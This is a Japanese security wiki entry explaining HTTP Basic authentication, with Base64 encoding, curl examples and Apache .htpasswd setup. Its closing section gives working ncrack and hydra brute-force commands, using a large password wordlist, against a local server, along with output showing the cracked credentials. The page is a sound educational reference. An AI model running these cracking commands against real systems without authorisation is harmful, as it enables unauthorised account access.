Basic認証

提供: セキュリティ
2014年5月20日 (火) 23:57時点におけるDaemon (トーク | 投稿記録)による版

移動: 案内検索
スポンサーリンク

Basic認証(ベーシック認証, Basic Authentication) とは、HTTPの認証方式の1つです。ユーザ名とパスワードを利用した認証です。パスワードは、暗号化されません。Basic認証総当たり攻撃(ブルートフォース)ができるパスワードクラックツールとしてncrackhydraがあります。

読み方

Basic認証
べーしっく にんしょう
ベーシック認証
べーしっく にんしょう
Basic Authentication
べーしっく おーせんてぃけーしょん

概要

Basic認証は、パスワードをハッシュにしませんが、Digest認証では、ハッシュが用いられます。

Basic認証では、ユーザ名とパスワードをコロン(:)で連結し、 user:password を Base64 エンコードした形式で送られます。

ユーザ名 test, パスワード admin の場合、以下の様な文字列になります。

$ echo -n 'test:admin' | base64
dGVzdDphZG1pbg==

HTTPリクエストヘッダは、以下の文字列が追加されます。

Authorization: Basic dGVzdDphZG1pbg==

Basic認証がかかっているエントリーポイント

Basic認証かかかっているエントリーポイントへのアクセスは、以下の通りです。

$ curl -v http://localhost/basic/
* Hostname was NOT found in DNS cache
*   Trying 127.0.0.1...
* Connected to localhost (127.0.0.1) port 80 (#0)
> GET /basic/ HTTP/1.1
> User-Agent: curl/7.35.0
> Host: localhost
> Accept: */*
>
< HTTP/1.1 401 Unauthorized
< Date: Tue, 20 May 2014 14:43:15 GMT
* Server Apache/2.4.9 (FreeBSD) OpenSSL/1.0.1e-freebsd PHP/5.5.10 is not
blacklisted
< Server: Apache/2.4.9 (FreeBSD) OpenSSL/1.0.1e-freebsd PHP/5.5.10
< WWW-Authenticate: Basic realm="Secret Zone"
< Content-Length: 381
< Content-Type: text/html; charset=iso-8859-1
<
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">

401 Unauthorized

Unauthorized

This server could not verify that you are authorized to access the document requested. Either you supplied the wrong credentials (e.g., bad password), or your browser doesn't understand how to supply the credentials required.

* Connection #0 to host localhost left intact

ユーザ名 test, パスワード admin でアクセスした例です。

$ curl -v http://test:admin@localhost/basic/
* Hostname was NOT found in DNS cache
*   Trying 127.0.0.1...
* Connected to localhost (127.0.0.1) port 80 (#0)
* Server auth using Basic with user 'test'
> GET /basic/ HTTP/1.1
> Authorization: Basic dGVzdDphZG1pbg==
> User-Agent: curl/7.35.0
> Host: localhost
> Accept: */*
>
< HTTP/1.1 200 OK
< Date: Tue, 20 May 2014 14:43:40 GMT
* Server Apache/2.4.9 (FreeBSD) OpenSSL/1.0.1e-freebsd PHP/5.5.10 is not
blacklisted
< Server: Apache/2.4.9 (FreeBSD) OpenSSL/1.0.1e-freebsd PHP/5.5.10
< Content-Length: 320
< Content-Type: text/html;charset=ISO-8859-1
<
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 3.2 Final//EN">

 
  Index of /basic
 
 

Index of /basic

* Connection #0 to host localhost left intact

使い方

.htaccess での設定の例です。 .htpasswd のようなパスワードファイルは、 htpasswd コマンドで作成します。

AuthType Basic
AuthName "Secret Zone"
AuthUserFile /home/www/basic/.htpasswd
Require valid-user

.htpasswd を新規作成する場合です。

$ htpasswd -b -c ./.htpasswd 'test' 'password'

htpasswdのコマンドラインオプションです。

Usage:
        htpasswd [-cimBdpsDv] [-C cost] passwordfile username
        htpasswd -b[cmBdpsDv] [-C cost] passwordfile username password
 
        htpasswd -n[imBdps] [-C cost] username
        htpasswd -nb[mBdps] [-C cost] username password
 -c  Create a new file.
 -n  Don't update file; display results on stdout.
 -b  Use the password from the command line rather than prompting for it.
 -i  Read password from stdin without verification (for script usage).
 -m  Force MD5 encryption of the password (default).
 -B  Force bcrypt encryption of the password (very secure).
 -C  Set the computing time used for the bcrypt algorithm
     (higher is more secure but slower, default: 5, valid: 4 to 31).
 -d  Force CRYPT encryption of the password (8 chars max, insecure).
 -s  Force SHA encryption of the password (insecure).
 -p  Do not encrypt the password (plaintext, insecure).
 -D  Delete the specified user.
 -v  Verify password for the specified user.
On other systems than Windows and NetWare the '-p' flag will probably not work.
The SHA algorithm does not use a salt and is less secure than the MD5 algorithm.

HTTPのBasic認証のクラッキング

ncrackによるHTTPのBasic認証のクラッキング

ncrackによるBasic認証のクラッキングの例です。

$ ncrack -v --user test \
-P /usr/local/share/ncrack/top50000.pwd http://127.0.0.1 -g path=/basic
 
Starting Ncrack 0.4ALPHA ( http://ncrack.org ) at 2014-05-20 23:22 JST
 
Discovered credentials on http://127.0.0.1:80 'test' 'admin'
http://127.0.0.1:80 finished.
 
Discovered credentials for http on 127.0.0.1 80/tcp:
127.0.0.1 80/tcp http: 'test' 'admin'
 
Ncrack done: 1 service scanned in 30.08 seconds.
Probes sent: 535 | timed-out: 0 | prematurely-closed: 0
 
Ncrack finished.

hydraによるHTTPのBasic認証のクラッキング

hydraによるBasic認証のクラッキングの例です。 ログインユーザ名test、パスワードがadminの場合の実行例です。

$ hydra -l 'test' -P /usr/local/share/ncrack/top50000.pwd http://localhost/basic
Hydra v7.6 (c)2013 by van Hauser/THC & David Maciejak - for legal purposes only
 
Hydra (http://www.thc.org/thc-hydra) starting at 2014-05-20 01:15:59
[WARNING] The service http has been replaced with http-head and http-get,
using by default GET method. Same for https.
[DATA] 16 tasks, 1 server, 50084 login tries (l:1/p:50084), ~3130 tries per task
[DATA] attacking service http-get on port 80
[80][www] host: 127.0.0.1   login: test   password: admin
1 of 1 target successfully completed, 1 valid password found
Hydra (http://www.thc.org/thc-hydra) finished at 2014-05-20 01:16:05

関連項目




スポンサーリンク